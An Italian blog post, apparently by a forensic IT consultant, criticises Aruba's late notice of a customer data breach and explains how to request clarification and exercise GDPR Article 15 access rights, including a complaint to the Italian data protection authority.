Tutto a posto quindi? Naturalmente no.
Innanzitutto, un aspetto assolutamente incredibile è che l’azienda riferisca di aver inviato la comunicazione quasi come se fosse stata una sorta di cortesia verso il cliente:
A conclusione di tutte le nostre analisi, abbiamo ritenuto doveroso informarla dell’accaduto seppur non sia richiesta alcuna azione da parte sua.
Aruba
La realtà è diversa: informare di un data breach è un obbligo di legge, ai sensi del GDPR. Questo oltretutto dovrebbe essere fatto in modo repentino, non tardivo. La lungaggine di Aruba ha raggiunto persino le testate internazionali (es. Aruba waited months to notify customers regarding a recent data breach).
Oltre a questo, permane la mancanza di chiarezza sul fatto che una terza parte abbia avuto accesso ai dati. Sui social si sono scatenate molte reazioni ironiche, con frasi come “i nostri dati vanno Aruba”. Al di là della parentesi goliardica, molti clienti vogliono giustamente avere delle risposte chiare.
Come richiedere chiarimenti ad Aruba
La mancanza di chiarezza in merito alla possibilità che i dati siano stati letti ha portato molte persone a contattare l’azienda, che ha fornito un indirizzo email normale (non PEC) dedicato. Vari clienti hanno ricevuto una risposta a voce, non per iscritto, il che lascia piuttosto perplessi.
Personalmente ho inviato un’istanza ad Aruba tramite PEC il 21 luglio 2021, richiedendo dei chiarimenti ed esercitando il diritto di accesso ai dati personali ai sensi dell’articolo 15 del Regolamento UE 2016/679. Quest’ultimo passaggio è importante perché obbliga l’azienda a rispondere, per non rischiare di incorrere in sanzioni.
Pensavo di attendere qualche giorno per la risposta, prima di scrivere questo post, però non è ancora pervenuta. Ho deciso pertanto di scrivere alcune indicazioni su come chiedere chiarimenti ad Aruba e fornirvi un modello della mia lettera, nel caso vi possa tornare utile.
Vi ricordo che io non sono un avvocato, sono semplicemente un consulente informatico forense, e questo articolo non costituisce una consulenza legale. Detto questo, se volete scaricare il modello in formato modificabile potete cliccare qui sotto:
Qualora l’azienda non dovesse rispondere nel termine di 30 giorni dalla vostra richiesta, potrete procedere all’inoltro di un reclamo al Garante per la Protezione dei Dati Personali. Il modello per il reclamo è consultabile cliccando qui.
Una volta ricevuta una risposta di Aruba provvederò ad aggiornare questo post.
Se lo desiderate, potete condividere le vostre esperienze con la richiesta (ed eventuale risposta) qui sotto nei commenti.